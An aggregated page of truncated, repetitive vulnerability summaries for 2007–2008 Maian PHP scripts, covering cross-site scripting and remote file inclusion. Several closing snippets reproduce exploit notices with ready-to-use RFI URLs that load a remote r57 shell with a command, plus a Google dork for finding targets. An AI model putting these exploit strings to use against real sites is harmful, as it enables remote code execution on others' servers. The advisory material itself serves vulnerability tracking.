CVE-2008-1075

The CVE-2008-1075 entry relates to an XSS vulnerability in Maian Cart 1.1, affecting index.php where an attacker can inject arbitrary script via the keywords parameter in a search command. Documents confirm the vulnerability and impact (remote script/HTML injection), but do not provide additional...

CVE-2008-1075

Cross-site scripting XSS vulnerability in index.php in Maian Cart 1.1 allows remote attackers to inject arbitrary web script or HTML via the keywords parameter in a search command. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Remote file inclusion

PHP remote file inclusion vulnerability in search.php in Maian Search 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, but confirmed by the vendor, stating "this issue was fixed last year...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2076

PHP remote file inclusion vulnerability in index.php in Maian Gallery 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, but confirmed by the vendor, stating "this problem existed only brief...

CVE-2007-2078

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2077

The CVE-2007-2077 entry describes a PHP remote file inclusion in Maian Search 1.1, exploitable via the path_to_folder parameter in search.php to execute arbitrary PHP code on the server. Roots: an input parameter in the search feature allows including remote files, enabling code execution with th...

CVE-2007-2078

CVE-2007-2078 describes a PHP remote file inclusion in Maian Weblog 3.1, where the vulnerability in index.php allows an attacker to execute arbitrary PHP code via a URL in the path_to_folder parameter. The underlying claim is that the path_to_folder variable is used unsafely, though a third‑party...

CVE-2007-2076

PHP remote file inclusion vulnerability in index.php in Maian Gallery 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, but confirmed by the vendor, stating "this problem existed only brief...

CVE-2007-2078

PHP remote file inclusion vulnerability in index.php in Maian Weblog 3.1 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter. NOTE: this issue was disputed by a third party researcher, since the pathtofolder variable is initialized before use...

CVE-2007-2076

CVE-2007-2076 affects Maian Gallery 1.0 (index.php) via a PHP remote file inclusion vulnerability in the path_to_folder parameter, allowing an attacker to execute arbitrary PHP code. The issue was described as existing only briefly in v1.0 and was confirmed by the vendor, though public discussion...

PT-2007-3420 · Maian · Maian Weblog

Name of the Vulnerable Software and Affected Versions: Maian Weblog version 3.1 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the path to folder parameter in the index.php file. However, it's noted that this issue was disputed by a third-party researche...

Maian Gallery v1.0

Script Name : Maian Gallery v1.0 Download : http://www.maianscriptworld.co.uk/freestuff1975gallery.html Coded by : KaRTaL Contact : k4rtalatgmaildot.com Include : include$pathtofolder.'lib/Savant2.php'; Exploit : index.php?pathtofolder=http://sheladresin.com/r57.txt?cmd=id Special Thankxz : D3ngs...

Maian Weblog v3.1

--------------------------------------------------------------------------------------------------------------------------------------------------------------- ScRipt Name : Maian Weblog v3.1 Download : http://www.maianscriptworld.co.uk/freestuff1975weblog.html Coded by : KaRTaL Contact :...

Maian Search v1.1

Script Name : Maian Search v1.1 Download : http://www.maianscriptworld.co.uk/freestuff1975search.html Coded by : KaRTaL Contact : k4rtalatgmaildotcom Include : include$pathtofolder.'inc/dbconnection.inc.php'; Exploit : search.php?pathtofolder=http://sheladresin.com/r57.txt?cmd=id Thankxz : D3ngsz...

Remote file inclusion

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

CVE-2007-0848

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

CVE-2007-0848

PHP remote file inclusion vulnerability in classes/classmail.inc.php in Maian Recipe 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the pathtofolder parameter...

CVE-2007-0848

The CVE-2007-0848 entry concerns Maian Recipe 1.0 and a PHP remote file inclusion in the file classes/class_mail.inc.php. The underlying issue allows an attacker to supply a URL via the path_to_folder parameter to cause remote PHP code execution. Exploitation details are not provided in the avail...

maian-rfi.txt

Found by Denven Script: http://www.maianscriptworld.co.uk/freestuff1975recipe.html Google Dork: "Powered by Maian Recipe v1.0" ERROR: classes/classmail.inc.php : include$pathtofolder.'classes/class.phpmailer.php'; RFI: http://www.SITE.com/path/classes/classmail.inc.php?pathtofolder=shell...